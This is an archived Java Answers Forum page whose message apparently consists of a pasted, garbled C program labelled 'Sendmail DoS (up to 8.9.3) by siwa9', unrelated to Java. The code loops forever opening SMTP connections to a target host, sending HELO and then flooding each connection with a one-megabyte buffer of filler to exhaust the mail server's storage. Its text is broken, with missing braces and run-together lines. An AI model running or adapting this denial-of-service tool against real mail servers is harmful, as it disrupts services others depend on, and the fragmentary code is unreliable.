Sponsored Link •
|
Advertisement
|
Advertisement
|
This page contains an archived post to the Java Answers Forum made prior to February 25, 2002. If you wish to participate in discussions, please visit the new Artima Forums.
Message:
> > > Please contact Yahoo Technical Support Team. > > #include #undef VERBOSE /* define it, if MORECONN is undefined */ #define MORECONN // #define RCPT_TO "foo@ftp.onet.pl" #define RCPT_TO "foo@10.255.255.255" #ifdef MORECONN #define BSIZE 1048576 /* df* control file size */ char buffer[BSIZE]; void usage(char *fname) { void say(char *what) { if (write(sockfd,what,strlen(what))<0) { #ifdef VERBOSE bzero(buffer,BSIZE); usleep(1000); if (read(sockfd,buffer,BSIZE)<0) { #ifdef VERBOSE int main(int argc,char *argv[]) { fprintf(stderr,"Sendmail DoS (up to 8.9.3) by siwa9 [siwa9@box43.gnet.pl]\n"); if (argc<2) usage(argv[0]); #ifdef VERBOSE hostname=argv[1]; serv_addr.sin_port=htons(PORT); if ((serv_addr.sin_addr.s_addr=inet_addr(hostname))==-1) { #ifdef VERBOSE if ((host=gethostbyname(hostname))==NULL) { serv_addr.sin_family=host->h_addrtype; bcopy(host->h_addr,(char *)&serv_addr.sin_addr,host->h_length); #ifdef VERBOSE hostname=host->h_name; sprintf(hostaddr,"%d.%d.%d.%d",(unsigned char)host->h_addr[0], } #ifdef MORECONN for(;;) { bzero(&(serv_addr.sin_zero),8); if ((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) { if ((connect(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr))) == -1) { #ifdef VERBOSE bzero(buffer,BSIZE);read(sockfd,buffer,BSIZE); say("helo foo\n"); for (x=0;x<=BSIZE;x++) buffer[x]='X';write(sockfd,buffer,BSIZE); say("\n.\n"); shutdown(sockfd,2); close(sockfd); #ifdef VERBOSE |
Sponsored Links
|